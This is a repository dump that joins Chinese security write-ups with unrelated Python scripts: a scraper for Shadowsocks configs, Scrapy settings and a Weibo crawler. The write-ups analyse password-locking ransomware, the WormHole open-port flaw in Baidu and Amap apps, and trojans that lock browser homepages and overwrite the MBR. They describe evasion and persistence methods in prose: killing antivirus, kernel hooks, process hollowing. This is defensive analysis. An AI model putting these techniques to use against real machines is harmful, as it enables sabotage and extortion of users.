样本分析 12 | 13 | * * * 14 | 15 | 近期我们捕获到的恶意勒索类软件主要分为两种实现方法，其中一种是为计算机用户添加固定的用户密码；另一种是通过当前环境的部分信息进行加密计算后设置系统的用户密码，导致无法进入系统操作界面，本文将以一枚随机算法的样本进行分析。 16 | 17 | 样本信息： 18 | 19 | * MD5:FD71FA7B8B9282618E050653464611F4 20 | * SHA1:C0126EACC1D50F0F7BBE3C1303EA61154688AC4B 21 | 22 | (1)样本执行流程 23 | 24 | 样本首先通过随机数和取时间进行混合运算后得到密码，然后通过操作注册表达到关闭UCA(User AccountControl)等功能，再修改用户密码并向作者设定好的邮箱中投递密码信息用作用户赎回密码时提供密码，最后进行强制关机。 25 | 26 | ![](http://static.wooyun.org//drops/20151023/20151023070343270911102.png) 27 | 28 | (2)样本具体行为 29 | 30 | 样本启动后首先对设置自身为开机启动项，在注册表内建立 31 | 32 | “3.exe”的注册表项 33 | 34 | ![](http://static.wooyun.org//drops/20151023/2015102307035051030249.png) 35 | 36 | 通过taskkill 来结束卡巴斯基、瑞星、McAfee 等安全软件来实现保护自身的目的。 37 | 38 | ![](http://static.wooyun.org//drops/20151023/2015102307035461301329.png) 39 | 40 | ![](http://static.wooyun.org//drops/20151023/2015102307042049163423.png) 41 | 42 | 对注册表的相关操作数量过多，将在下文源码中具体体现。 43 | 44 | 其中设置注册表项共计如下： 45 | 46 | ![](http://static.wooyun.org//drops/20151023/2015102307042928126519.png) 47 | 48 | 其中删除注册表共计如下： 49 | 50 | ![](http://static.wooyun.org//drops/20151023/2015102307080341361618.png) 51 | 52 | ![](http://static.wooyun.org//drops/20151023/2015102307081533069720.png) 53 | 54 | ![](http://static.wooyun.org//drops/20151023/2015102307090579289822.png) 55 | 56 | 调用cmd进行添加计算机密码 57 | 58 | ![](http://static.wooyun.org//drops/20151023/2015102307091019726919.png) 59 | 60 | 对作者预设的邮箱中发送密码信息，在发送密码后将进行关机 61 | 62 | ![](http://static.wooyun.org//drops/20151023/20151023070925561101018.png) 63 | 64 | 因为样本是易语言样本，根据其特性识别样本中的支持库信息并还原源码，其算法部分如下： 65 | 66 | ![](http://static.wooyun.org//drops/20151023/20151023070935528501119.png) 67 | 68 | 逆向支持库后还原完整源码如下： 69 | 70 | ![](http://static.wooyun.org//drops/20151023/20151023071347395781218.png) 71 | 72 | # 0x03 解决方案 73 | 74 | * * * 75 | 76 | 对付敲竹杠木马以预防为主，如果不慎中招，推荐使用360安全查询的敲竹杠木马开机密码找回功能(`http://fuwu.360.cn/chaxun/qq`)，我们通过对样本分析，不断更新补充敲竹杠木马的开机密码库，在找回开机密码后请及时全盘扫描杀毒。如遇到无法查到密码的情况，也欢迎向我们提交样本反馈。 77 | 78 | ![](http://static.wooyun.org//drops/20151023/20151023071024862791315.png) 79 | 80 | ![](http://static.wooyun.org//drops/20151023/20151023071536747461415.png) 81 | 82 | 开机密码找回步骤: 83 | 84 | 1、若您的电脑开机出现如下画面 85 | 86 | ![](http://static.wooyun.org//drops/20151023/20151023071335243421515.png) 87 | 88 | 2、输入对方留下的联系QQ号码 89 | 90 | ![](http://static.wooyun.org//drops/20151023/20151023071340907541614.png) 91 | 92 | 3、立即修改您的密码(控制面板→用户账户→更改密码) 93 | 94 | # 0x04 总结 95 | 96 | * * * 97 | 98 | 在PC领域，“勒索软件”这个词在去年一个名为CryptLocker的病毒爆发之后逐渐进入公众视线，其会将用户文档资料全部加密，而用户必须给黑客支付300美元或0.5比特币才能找回自己的文档资料。而在此之后国内也出现了利用添加或修改用户开机密码进行勒索的恶意软件，并且有愈演愈烈地趋势。这种类型的恶意软件如果进一步演变，对用户电脑及电脑上的数据资料都会带来巨大的安全风险和威胁。我们将密切关注此类恶意软件的演变趋势并提供有效的解决方案。 99 | 100 | -------------------------------------------------------------------------------- /AutoGetSS/index.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | Created on Tue Nov 24 13:19:43 2015 4 | 5 | @author: zhangjian5 6 | """ 7 | import log 8 | try: 9 | import requests 10 | except ImportError: 11 | log.logger.warn("can not find requests module") 12 | try: 13 | from bs4 import BeautifulSoup 14 | except ImportError: 15 | log.logger.warn("can not find BeautifulSoup4 module") 16 | import sys 17 | import ConfigParser 18 | 19 | reload(sys) 20 | sys.setdefaultencoding('utf-8') 21 | 22 | 23 | class AutoGetGeneralSS(): 24 | def __init__(self, main_url, data): 25 | self.main_url = main_url 26 | self.data = data 27 | self.session = requests.session() 28 | self.login_url = '/_login.php' 29 | self.node_url = '/node.php' 30 | self.targetUrls = [] 31 | 32 | # 模拟登录，从网页中获取含有配置文件的地址 33 | def getTargetUrls(self): 34 | r = self.session.post(url=str(self.main_url + self.login_url), data=self.data, timeout=10) 35 | log.logger.info(self.main_url + self.login_url) 36 | if r.status_code == 200: 37 | log.logger.info('loger:%s' % r.text.decode("unicode_escape")) 38 | ss_r = self.session.get(url=self.main_url + self.node_url) 39 | soup = BeautifulSoup(ss_r.text) 40 | nodeUrls = soup.find_all('a', {'role': 'menuitem', 'target': '_blank'}) 41 | for i in xrange(0, len(nodeUrls), 2): 42 | self.targetUrls.append(self.main_url + nodeUrls[i].get('href')) 43 | log.logger.info('targetUrls has been finished.') 44 | else: 45 | log.logger.warn("timeout 10s, check you net connect.") 46 | pass 47 | 48 | # 保存SS数据到本地SS配制文件中 49 | def saveSS(self, localSSPath): 50 | f = open(localSSPath, 'r') 51 | config = str(f.read()) 52 | f.close() 53 | s = '' 54 | tmp = '' 55 | for j in self.targetUrls: 56 | log.logger.info('targetUrls is :%s' % j) 57 | r = self.session.get(url=j) 58 | tmp += r.text + ',' 59 | try: 60 | s = config[:config.index('[') + 2] + tmp + config[config.index('[') + 2:] 61 | except None: 62 | log.logger.warn("config.ini read None.") 63 | log.logger.info(s) 64 | fw = open(localSSPath, 'wb') 65 | fw.write(s) 66 | fw.close() 67 | 68 | 69 | def main(config_file_path): 70 | # 从配置文件中读取mainUrl，用户和本地ss配置文件路径 71 | cf = ConfigParser.ConfigParser() 72 | cf.read(config_file_path) 73 | 74 | main_url = cf.get('loginGeneralSS', 'mainUrl') 75 | userlists = cf.get('loginGeneralSS', 'userlists') 76 | localSSPath = cf.get('local', 'shadowscoksPath') 77 | 78 | users = userlists.split('|') 79 | for i in users: 80 | email = i.split('&')[0] 81 | passwd = i.split('&')[1] 82 | print email + ':' + passwd 83 | data = dict(email=email, passwd=passwd, remember_me='week') 84 | a = AutoGetGeneralSS(main_url, data) 85 | a.getTargetUrls() 86 | a.saveSS(localSSPath) 87 | 88 | 89 | if __name__ == '__main__': 90 | main('config.ini') 91 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/WormHole分析第二弹.md: -------------------------------------------------------------------------------- 1 | # WormHole分析第二弹 2 | 3 | [ 从此寂寞](/author/从此寂寞) · 2015/11/04 16:09 4 | 5 | # 0x00 背景 6 | 7 | * * * 8 | 9 | 最近WormHole这个洞炒的比较火，今天看了几篇漏洞分析文章，都很详尽，笔者在这里再补充一些发现。 10 | 11 | 笔者在10月初就发现了百度地图的这个漏洞，并报给了BSRC得到确认，但与**瘦蛟舞，蒸米等研究人员**出发点不同，笔者并没有从SDK的角度出发去发掘出更多的使用moplus这个库的app，而是从功能性的角度出发，以地图类应用作为切入点，尝试去发现一些问题。虽说没有发现那么多存在漏洞的app，但好在也有一些发现。 12 | 13 | # 0x01 百度地图 14 | 15 | * * * 16 | 17 | Wormhole的漏洞报告出来后，很多圈内人士针对“后门还是漏洞”的问题产生了激烈的讨论，微博、知乎上各种声音。 18 | 19 | 一个事物的出现必然有他的原因，一个应用为什么要在手机上开放一个端口呢？百度地图为什么在修复漏洞依然还开着40310这个端口？可见这个端口存在自然有其存在道理，于是开始进一步分析。 20 | 21 | 用Chrome模拟手机（Nexus 5）访问`www.baidu.com`，在请求包里明显看到有访问`http://127.0.0.1:40310/getsearchboxinfo?xxxxxxx`的数据包，心中一惊，这不就是wormhole的一个利用么？ 22 | 23 | ![](http://static.wooyun.org//drops/20151103/20151103065149470481.png) 24 | 25 | 难道百度开放一个端口就是为了能在web网页里访问一下？一次偶然的发现，访问搜狗网址导航也出现了`http://127.0.0.1:40310/getcuid?xxxxxxx`之类的数据包，看来除了百度还有其他的地方在“利用这个漏洞”。 26 | 27 | ![](http://static.wooyun.org//drops/20151103/20151103065151777452.png) 28 | 29 | 几番试验，笔者又在模拟手机在其他几个网站发现了同样现象，莫非这些网站都知道这个漏洞？几番研究后，最终锁定了源头——百度统计。 30 | 31 | 百度统计的脚本是hm.js，而hm.js加载了一个html: `http://boscdn.bpc.baidu.com/v1/holmes-moplus/mp-cdn.html` 32 | 33 | 这个html又加载了一个js:`http://static1.searchbox.baidu.com/static/searchbox/openjs/mp.js` 34 | 35 | 就是这个js中一段代码发出了对本地端口的请求，查看代码不难发现，该脚本对6259和40310这两个端口都发出了请求，这也正好印证了wormhole漏洞为啥固定开辟了这两个端口。 36 | 37 | ![](http://static.wooyun.org//drops/20151103/20151103065153859663.png) 38 | 39 | 综上，不难发现百度开放6259和40310是为了百度统计服务的，但目前发现的情况也只是getcuid、getsearchboxinfo之类一些简单的信息，至于为什么在这个接口上实现获取所有安装包信息、写通讯录、任意上传下载文件等就不得而知了。但毋庸置疑，想要利用这些接口只需在百度统计脚本里加几行代码就可以了，只是现在未发现利用的证据。所以，至于是漏洞还是后门，笔者不作评价。 40 | 41 | # 0x02 高德地图 42 | 43 | * * * 44 | 45 | 仔细看上边百度的分析，不难得出结论，一个应用开放一个端口，本质上是为了web页面和app本身达到某种交互。既然百度地图有问题，那么其他地图类应用呢？ 46 | 47 | 笔者先前看到乌云上有一个关于高德地图的漏洞，原理和百度这个漏洞类似，也是开放了一个6677端口，那么高德是怎么修复这个洞的呢？ 48 | 49 | 研究发现高德采用验证http_referer的方法，对比之前的漏洞发现高德把http_referer白名单由java层放到了native层 50 | 51 | ![](http://static.wooyun.org//drops/20151103/20151103065155170744.png) 52 | 53 | 在验证http_referer时，高德竟然用了contains()这个函数去遍历，简直暴力啊 54 | 55 | ![](http://static.wooyun.org//drops/20151103/20151103065159697245.png) 56 | 57 | 由此可见高德的修复并不彻底，一是contains()很容易被逻辑绕过，二是http_referer很容易伪造，当然高德地图的最新版本又做了一些改动，但不管怎么样修复，高德还是保留着6677这个端口。 58 | 59 | 这不禁令人生疑，究竟这个端口有什么用？在高德未修复漏洞时，笔者开发了一个exp，发现这个漏洞可以得到用户的位置信息。 60 | 61 | ![](http://static.wooyun.org//drops/20151103/20151103065202372026.png) 62 | 63 | 我们仍然用Chrome模拟手机进行测试，访问`http://amap.com`，发现了对本地6677端口的请求，其目的是为了获取用户的地理位置信息。 64 | 65 | ![](http://static.wooyun.org//drops/20151103/20151103065203470917.png) 66 | 67 | # 0x03 思考 68 | 69 | * * * 70 | 71 | 1. Wormhole究竟该如何定义？ 72 | 73 | 显然出现这种类型漏洞的不仅仅是百度系app，也不止是moplus这个SDK，笔者认为wormhole应重新定义为那些因开放端口导致的漏洞。 74 | 75 | 另外，目前列出的一些wormhole影响列表只是用了简单的静态扫描去匹配moplus的特征，事实上部分app仅仅是包含了这个库但没有实现，需要动态运行验证。 76 | 77 | 2. 怎样做到安全的开放端口？ 78 | 79 | 验证http_referer、remote-addr等显然不可靠 80 | 81 | 端口随机？如何保证web页能确切访问？（facebook安卓版） 82 | 83 | SSLSocket? 84 | 85 | 3. Web页面和app之间有必要通信么？ 86 | 87 | 开放端口不同于传统的client-server结构，传统的server端是透明的，但app上实现的server容易被逆向出关键逻辑，最终通信机制还是会被破解。 88 | 89 | Web页用一个token去访问app，app拿这个token进行服务器验证，然后再判断是否把敏感数据返回给web页？ 90 | 91 | 4. 如何批量的检测这种开放端口的漏洞？ 92 | 93 | 静态检测ServerSocket等API? 部分app只是包含了一些API，但是没有到该部分代码的执行路径。 94 | 95 | 动态检测？部分app在特定情况下才会开放端口，如豌豆荚在插入USB后才会开放端口。 96 | 97 | Wormhole之后还有很多地方值得我们挖掘和研究，微博：m4bln，欢迎交流探讨！ 98 | 99 | -------------------------------------------------------------------------------- /dmozDemo/dmozDemo/settings.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # Scrapy settings for dmozDemo project 4 | # 5 | # For simplicity, this file contains only settings considered important or 6 | # commonly used. You can find more settings consulting the documentation: 7 | # 8 | # http://doc.scrapy.org/en/latest/topics/settings.html 9 | # http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html 10 | # http://scrapy.readthedocs.org/en/latest/topics/spider-middleware.html 11 | 12 | BOT_NAME = 'dmozDemo' 13 | 14 | SPIDER_MODULES = ['dmozDemo.spiders'] 15 | NEWSPIDER_MODULE = 'dmozDemo.spiders' 16 | 17 | 18 | # Crawl responsibly by identifying yourself (and your website) on the user-agent 19 | #USER_AGENT = 'dmozDemo (+http://www.yourdomain.com)' 20 | 21 | # Configure maximum concurrent requests performed by Scrapy (default: 16) 22 | #CONCURRENT_REQUESTS=32 23 | 24 | # Configure a delay for requests for the same website (default: 0) 25 | # See http://scrapy.readthedocs.org/en/latest/topics/settings.html#download-delay 26 | # See also autothrottle settings and docs 27 | #DOWNLOAD_DELAY=3 28 | # The download delay setting will honor only one of: 29 | #CONCURRENT_REQUESTS_PER_DOMAIN=16 30 | #CONCURRENT_REQUESTS_PER_IP=16 31 | 32 | # Disable cookies (enabled by default) 33 | #COOKIES_ENABLED=False 34 | 35 | # Disable Telnet Console (enabled by default) 36 | #TELNETCONSOLE_ENABLED=False 37 | 38 | # Override the default request headers: 39 | #DEFAULT_REQUEST_HEADERS = { 40 | # 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 41 | # 'Accept-Language': 'en', 42 | #} 43 | 44 | # Enable or disable spider middlewares 45 | # See http://scrapy.readthedocs.org/en/latest/topics/spider-middleware.html 46 | #SPIDER_MIDDLEWARES = { 47 | # 'dmozDemo.middlewares.MyCustomSpiderMiddleware': 543, 48 | #} 49 | 50 | # Enable or disable downloader middlewares 51 | # See http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html 52 | #DOWNLOADER_MIDDLEWARES = { 53 | # 'dmozDemo.middlewares.MyCustomDownloaderMiddleware': 543, 54 | #} 55 | 56 | # Enable or disable extensions 57 | # See http://scrapy.readthedocs.org/en/latest/topics/extensions.html 58 | #EXTENSIONS = { 59 | # 'scrapy.telnet.TelnetConsole': None, 60 | #} 61 | 62 | # Configure item pipelines 63 | # See http://scrapy.readthedocs.org/en/latest/topics/item-pipeline.html 64 | #ITEM_PIPELINES = { 65 | # 'dmozDemo.pipelines.SomePipeline': 300, 66 | #} 67 | 68 | # Enable and configure the AutoThrottle extension (disabled by default) 69 | # See http://doc.scrapy.org/en/latest/topics/autothrottle.html 70 | # NOTE: AutoThrottle will honour the standard settings for concurrency and delay 71 | #AUTOTHROTTLE_ENABLED=True 72 | # The initial download delay 73 | #AUTOTHROTTLE_START_DELAY=5 74 | # The maximum download delay to be set in case of high latencies 75 | #AUTOTHROTTLE_MAX_DELAY=60 76 | # Enable showing throttling stats for every response received: 77 | #AUTOTHROTTLE_DEBUG=False 78 | 79 | # Enable and configure HTTP caching (disabled by default) 80 | # See http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html#httpcache-middleware-settings 81 | #HTTPCACHE_ENABLED=True 82 | #HTTPCACHE_EXPIRATION_SECS=0 83 | #HTTPCACHE_DIR='httpcache' 84 | #HTTPCACHE_IGNORE_HTTP_CODES=[] 85 | #HTTPCACHE_STORAGE='scrapy.extensions.httpcache.FilesystemCacheStorage' 86 | -------------------------------------------------------------------------------- /nexus/weibo_crawl.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | """ 4 | Verion: 1.0 5 | Author: helix 6 | Site: https://iliangqunru.bitcron.com/ 7 | File: weibo_crawl.py 8 | Time: 3/16/18 9 | """ 10 | import logging 11 | import sys 12 | import os 13 | import threading 14 | 15 | import requests 16 | from concurrent.futures import ThreadPoolExecutor 17 | level = logging.DEBUG 18 | format = '%(asctime)s - %(name)s - %(levelname)s - %(message)s' 19 | datefmt = '%Y-%m-%d %H:%M' 20 | logging.basicConfig(level=level, format=format, datefmt=datefmt) 21 | logger = logging.getLogger(__name__) 22 | 23 | 24 | import datetime 25 | 26 | now = datetime.datetime.now() 27 | CURRENT_TIME = now.strftime('%Y-%m-%d %H:%M:%S') 28 | CURRENT_YEAR = now.strftime('%Y') 29 | CURRENT_YEAR_WITH_DATE = now.strftime('%Y-%m-%d') 30 | 31 | pool = ThreadPoolExecutor(20) 32 | def get_weibo(container_id='1076033788713745', page=25): 33 | api = "https://m.weibo.cn/api/container/getIndex" 34 | 35 | def gen_result(page): 36 | """解析微博内容""" 37 | 38 | while page > 0: 39 | params = {"containerid": container_id, "page": page} 40 | 41 | _response_json = requests.get(url=api, params=params).json() 42 | logger.info("核心解析==> %s" % _response_json) 43 | 44 | item_list = [] 45 | containerid = _response_json.get("data").get("cardlistInfo").get("containerid") 46 | cards = _response_json.get('data').get("cards") 47 | for _cards in cards: 48 | # 结束推荐 49 | if _cards.get("card_group"): 50 | continue 51 | itemid = _cards.get("itemid") 52 | scheme = _cards.get("scheme") 53 | 54 | created_at = _cards.get('mblog').get("created_at") 55 | if len(created_at) < 9 and str(created_at).__contains__("-"): 56 | created_at = CURRENT_YEAR + "-" + created_at 57 | if not str(created_at).__contains__("-"): 58 | created_at = CURRENT_YEAR_WITH_DATE 59 | mid = _cards.get('mblog').get("mid") 60 | text = _cards.get('mblog').get("text") 61 | source = _cards.get('mblog').get("source") 62 | userid = _cards.get('mblog').get("user").get("id") 63 | reposts_count = _cards.get('mblog').get("reposts_count") 64 | comments_count = _cards.get('mblog').get("comments_count") 65 | attitudes_count = _cards.get('mblog').get("attitudes_count") 66 | raw_text = "" 67 | if _cards.get('mblog').get("raw_text"): 68 | raw_text = _cards.get('mblog').get("raw_text") 69 | bid = _cards.get('mblog').get("bid") 70 | 71 | pics_dict = {} 72 | if _cards.get('mblog').get("pics"): 73 | pics = str(_cards.get('mblog').get("pics")) 74 | pics_dict['weibo_pics'] = pics 75 | 76 | mblog = str(_cards.get('mblog')) 77 | 78 | yield mblog 79 | page += -1 80 | 81 | t = threading.Thread(target=gen_result,args=(page,)) 82 | t.start() 83 | # future = pool.submit(gen_result,page) 84 | 85 | 86 | yield from gen_result(page) 87 | 88 | 89 | if __name__ == '__main__': 90 | for tweet in get_weibo(): 91 | print(tweet) 92 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/双11购物节火热，谨防木马乘机而入.md: -------------------------------------------------------------------------------- 1 | # 双11购物节火热，谨防木马乘机而入 2 | 3 | [ 腾讯电脑管家](/author/腾讯电脑管家) · 2015/11/12 16:24 4 | 5 | # 0x00 概况 6 | 7 | * * * 8 | 9 | 近期11.11购物节，无数的网页、软件都充斥着“血拼双11”的广告，这时的电脑桌面如果多了几个双11相关的快捷方式，或者浏览器主页被锁定成推送网购内容的导航网站，你会不会认为这也是正常的呢？真实的情况却是你的电脑很有可能中马了。近期腾讯反病毒实验室拦截到流氓软件“多彩便签”正在大量推广一个伪装成“阿里妈妈推广程序”的木马，该木马强对抗杀软，恶意锁主页，危害十分严重。 10 | 11 | # 0x01 木马分析 12 | 13 | * * * 14 | 15 | * **文件名**：AlimamaAgent.exe 16 | * **MD5**：7c428f8759b9015409e87acfa50646c2 17 | * **推广渠道**：多彩便签 18 | 19 | ## 母体AlimamaAgent.exe行为 20 | 21 | 木马母体伪装成阿里妈妈推广程序，其资源中放有三个文件，一个是真正的阿里妈妈推广程序AlimamaAgent.exe，一个是木马文件，另一个是配置文件。**母体运行后首先判断系统启动了多久，如果不超过5分钟的话则释放出木马并执行，然后再释放阿里妈妈推广程序；如果已经超过5分钟的话则只释放阿里妈妈推广程序，不释放木马。**此方法可以绕过很多未重启的自动化分析系统、沙盒等。同时系统刚启动的数分钟内通常是安全软件防御的薄弱时期，此时木马往往可以乘虚而入，执行敏感操作。 22 | 23 | ![](http://static.wooyun.org//drops/20151111/2015111110385138768119.png) 24 | 25 | 图1. 木马母体的资源信息 26 | 27 | ![](http://static.wooyun.org//drops/20151111/2015111110380990170219.png) 28 | 29 | 图2. 木马只在开机5分钟内运行，用于绕过安全软件主防和自动分析系统等 30 | 31 | ![](http://static.wooyun.org//drops/20151111/2015111110381255852317.png) 32 | 33 | 图3. 释放真正AlimamaAgent.exe并执行，该文件是阿里妈妈官方推广程序，主要功能是在桌面释放两个快捷方式进行相关推广，双11是其推广的主题 34 | 35 | ## 木马sbffdm.exe行为 36 | 37 | Sbffdm.exe是木马的安装程序，其功能是释放出木马的主功能文件并加载，总共会释放3个驱动文件、1个exe文件和1个dll文件。同时该木马会判断自身文件名，如果不符合规则，则直接退出程序，可能是用于绕过自动分析软件的分析。 38 | 39 | ![](http://static.wooyun.org//drops/20151111/2015111110381459996416.png) 40 | 41 | 图4. 判断文件名，如果不符合规则就退出 42 | 43 | ![](http://static.wooyun.org//drops/20151111/2015111110381957893510.png) 44 | 45 | 图5. 释放CmBatt2.sys、secdrv2.sys、stisvc2.sys、zystatic.exe、zyinstall.dll五个文件,木马会首先判断系统类型，如果是64位系统，则释放的驱动为64位驱动，功能类似 46 | 47 | ![](http://static.wooyun.org//drops/20151111/201511111038212925467.png) 48 | 49 | 图6. 调用zyinstall.dll的接口，实现加载3个驱动文件 50 | 51 | ![](http://static.wooyun.org//drops/20151111/201511111038246949876.png) 52 | 53 | 图7. Zyinstall.dll的接口实现，主要功能是以服务的方式加载驱动 54 | 55 | ## 驱动CmBatt2.sys行为 56 | 57 | CmpBatt2.sys主要用于锁定浏览器主页，锁主页的方式是通过注册创建进程回调，在回调函数中比较进程名的CRC32值，如果在列表中（木马内置了一个各种浏览器进程名的CRC32列表），则通过添加命令行的方式进行主页锁定。同时，该文件还负责清除与主页保护相关的其它文件。 58 | 59 | ![](http://static.wooyun.org//drops/20151111/201511111038263586085.png) 60 | 61 | 图8. 通过创建回调的方式进行主页锁定 62 | 63 | ![](http://static.wooyun.org//drops/20151111/201511111038272957494.png) 64 | 65 | 图9. 可能为了免杀，该木马并未内置浏览器名称，而是内置了相应的CRC32值列表 66 | 67 | ![](http://static.wooyun.org//drops/20151111/2015111110382914086103.png) 68 | 69 | ![](http://static.wooyun.org//drops/20151111/2015111110383093921118.png) 70 | 71 | 图10. 通过添加命令行的方式实现主页锁定 72 | 73 | ![](http://static.wooyun.org//drops/20151111/2015111110383186863124.png) 74 | 75 | 图11.通过fsd hook，将与主页保护相关的其它文件设置成不可访问，以独霸主页 76 | 77 | ## 驱动Secdrv2.sys行为 78 | 79 | Secdrv2.sys的主要功能是通过atapi hook，保护木马的3个驱动文件不被访问、删除等。 80 | 81 | ![](http://static.wooyun.org//drops/20151111/2015111110383331531133.png) 82 | 83 | ![](http://static.wooyun.org//drops/20151111/2015111110383472390143.png) 84 | 85 | 图12. 通过Hook保护3个驱动文件 86 | 87 | ## 驱动stisvc2.sys行为 88 | 89 | Stisvc2.sys的主要功能是通过hook系统各种关键点对抗安全软件，主要的hook点有： 90 | 91 | 1） fsd hook：判断对木马目录zyprotect的查询是否来自安全软件，是则阻止。过滤所有文件的创建操作，如果创建的是安全软件驱动，则阻止。 92 | 2） Ssdthook：hook了`NtQueryInformationProcess`，`NtQuerySystemInformation`，`NtReadfile`，判断操作者是否为安全软件进程，如果是则阻止。 93 | 94 | ![](http://static.wooyun.org//drops/20151111/2015111110383533942152.png) 95 | 96 | 图13. 阻止安全软件对木马目录的访问 97 | 98 | ![](http://static.wooyun.org//drops/20151111/2015111110383782667162.png) 99 | 100 | 图14. 阻止安全软件相关文件的创建 101 | 102 | ![](http://static.wooyun.org//drops/20151111/2015111110383877218172.png) 103 | 104 | 图15. 木马最终实现的锁主页效果 105 | 106 | # 0x02 总结 107 | 108 | * * * 109 | 110 | 木马总是借着各种热点进行传播，在各大网站和各种圈子都被双11购物节刷屏的时候，管家提醒用户更要保护电脑安全，注意桌面图标、浏览器主页的变化，木马有可能借着双11的契机在你电脑上安家落户。如果发现主页被锁或者桌面莫名增加了图标，请及时检查杀毒。 111 | 112 | -------------------------------------------------------------------------------- /dropsWooyun2/markdownFile/从一个锁主页木马里挖出的惊天“暗杀黑名单”.md: -------------------------------------------------------------------------------- 1 | # 从一个锁主页木马里挖出的惊天“暗杀黑名单” 2 | 3 | [ 腾讯电脑管家](/author/腾讯电脑管家) · 2015/11/06 9:39 4 | 5 | # 0x00 概况 6 | 7 | * * * 8 | 9 | 近日腾讯反病毒实验室拦截到一个非常特殊木马，该木马集成了多种木马的特点和技术，通过多种流氓软件推广传播。**其特殊之处在于：如果是普通用户感染了该木马，其行为是主页被锁；如果是黑名单中的用户感染了该木马，则启动“毁灭”模式，直接篡改磁盘MBR，导致电脑无法开机。**此外木马还集成了盗号、DDOS攻击等大量功能，虽然当前并未被激活，但中招之后后患无穷，其行为总结如下： 10 | 11 | 1） 木马使用“白加黑”技术躲避查杀； 12 | 2） 木马“黑吃黑”，会清除大量的其它锁主页木马； 13 | 3） 黑客通过博客控制木马，能够绕过防火墙拦截； 14 | 4） 木马以偷天换日的手段实现主页锁定； 15 | 5） 顽强守护，难以清除； 16 | 6） 木马内置黑名单，能够定点“毁灭”黑名单中的用户； 17 | 7） 集成了锁主页、盗号、定点毁灭、DDOS攻击等多种功能。 18 | 19 | # 0x01 样本分析 20 | 21 | * * * 22 | 23 | ## 1、样本信息介绍： 24 | 25 | 该木马利用白（酷狗exe）+ 黑（dll）+数据文件的方式存在于计算机系统中，其中exe和dll文件存在于以下目录中，白文件名随机，黑文件名为active_desktop_render.dll。 26 | 27 | 黑dll文件MD5为：becd5c682061be77ec3b64b236facac9 28 | 29 | ![](http://static.wooyun.org//drops/20151105/201511050654362964413.png) 30 | 31 | 图1.被利用的白文件属性 32 | 33 | ## 2、样本行为分析： 34 | 35 | ### 加载器active_desktop_render.dll行为：（加载器） 36 | 37 | 1）读取C:\Program Files\Common Files\System\ado\msiod.dll，解密后得到PE1 38 | 2）在内存中加载PE1 39 | 40 | ### PE1行为：（注入器） 41 | 42 | 1） 检测安全软件 43 | 2） 遍历进程，从中查找能够作为傀儡进程的文件 44 | 3） 解密出PE2，创建傀儡进程，在傀儡进程中执行PE2 45 | 46 | ### PE2行为：（核心功能） 47 | 48 | 1）黑吃黑，删除以下注册表键值，使用命令行删除指定文件，要清除的文件列表里包含了大量的锁主页相关木马及软件。 49 | 50 | ![](http://static.wooyun.org//drops/20151105/201511050654388358223.png) 51 | 52 | 图2. 要清除的部分文件列表和注册表键值 53 | 54 | 2）从指定的多个博客地址获取配置信息，并将配置信息保存到注册表中，通过配置信息控制，该木马支持的功能有更新木马、锁主页、盗取各种本地保存的密码、毁灭计算机、替换导航网站的推广ID、DDOS攻击等。 55 | 56 | ![](http://static.wooyun.org//drops/20151105/201511050654417663233.png) 57 | 58 | 图3. 从多个博客地址获取控制指令 59 | 60 | ![](http://static.wooyun.org//drops/20151105/201511050654439518643.png) 61 | 62 | 图4. 博客内容之一 63 | 64 | 3）**木马主要功能之抢导航推广**：定时清空知名导航网站的cookie，并不断判断浏览器地址栏是否为相应的导航网站，如果是，则修改其后面的推广id。 65 | 66 | ![](http://static.wooyun.org//drops/20151105/201511050654444188053.png) 67 | 68 | 图5. 抢网址盗号网站的推广 69 | 70 | 4）**木马主要功能之锁主页**：不断遍历系统中的进程，一旦发现explorer创建以下列表中的浏览器进程，则立即将其结束，并以命令行添加网址的方式重新创建该浏览器进程，以偷天换日的方式实现主页锁定。如果用户机器性能好，则难以发现；如果性能较差，则可辨别到浏览器的瞬间开启和关闭行为。 71 | 72 | ![](http://static.wooyun.org//drops/20151105/201511050654468983161.png) 73 | 74 | 图6. 结束浏览器进程，并重新加命令行打开实现锁主页 75 | 76 | 5）**木马主要功能之定点暗杀**：从注册表Destroy键值下读取配置信息，并解密得到“黑名单”。查找QQ窗口，获取当前登录的QQ号码是否在“黑名单”中，如果是，则串改MBR，直接废掉系统，木马当前配置的暗杀“黑名单”列表如图所示。 77 | 78 | ![](http://static.wooyun.org//drops/20151105/201511050654476701471.png) 79 | 80 | 图7. 配置“毁灭黑名单”的注册表路径 81 | 82 | ![](http://static.wooyun.org//drops/20151105/20151105065448228538.png) 83 | 84 | 图8. 加密的“黑名单” 85 | 86 | ![](http://static.wooyun.org//drops/20151105/20151105065505842189.png) 87 | 88 | 图9. 解密后的“黑名单” 89 | 90 | ![](http://static.wooyun.org//drops/20151105/201511050655078145010.png) 91 | 92 | 图10. 获取当前登录的QQ号码 93 | 94 | ![](http://static.wooyun.org//drops/20151105/2015110506550849066111.png) 95 | 96 | 图11. 判断当前登录的QQ号码是否在黑名单中 97 | 98 | ![](http://static.wooyun.org//drops/20151105/2015110506551543298121.png) 99 | 100 | 图12. “毁灭”系统 101 | 102 | 6）木马功能之自动更新和DDOS攻击（当前未配置） 103 | 104 | 7）解密出PE3，同样通过遍历进程查找可当傀儡进程的文件，创建傀儡进程，在傀儡进程中执行PE3，并守护该傀儡进程。 105 | 106 | ### PE3行为：（守护） 107 | 108 | 1） 守护PE2的傀儡进程 109 | 110 | 2） 创建自启动项，并守护注册表及文件，该木马在以下注册表路径下创建启动项 111 | 112 | 113 | 114 | SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\load 115 | SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit 116 | 117 | 118 | 3）文件守护，备份数据文件地址为`C:\Program Files\CommonFiles\System\ado\adophp.dll`，在以下路径释放随机文件名的木马文件（白加黑） 119 | 120 | 121 | 122 | C:\Windows\inf\ 123 | C:\Windows\Media\Heritage\ 124 | 125 | 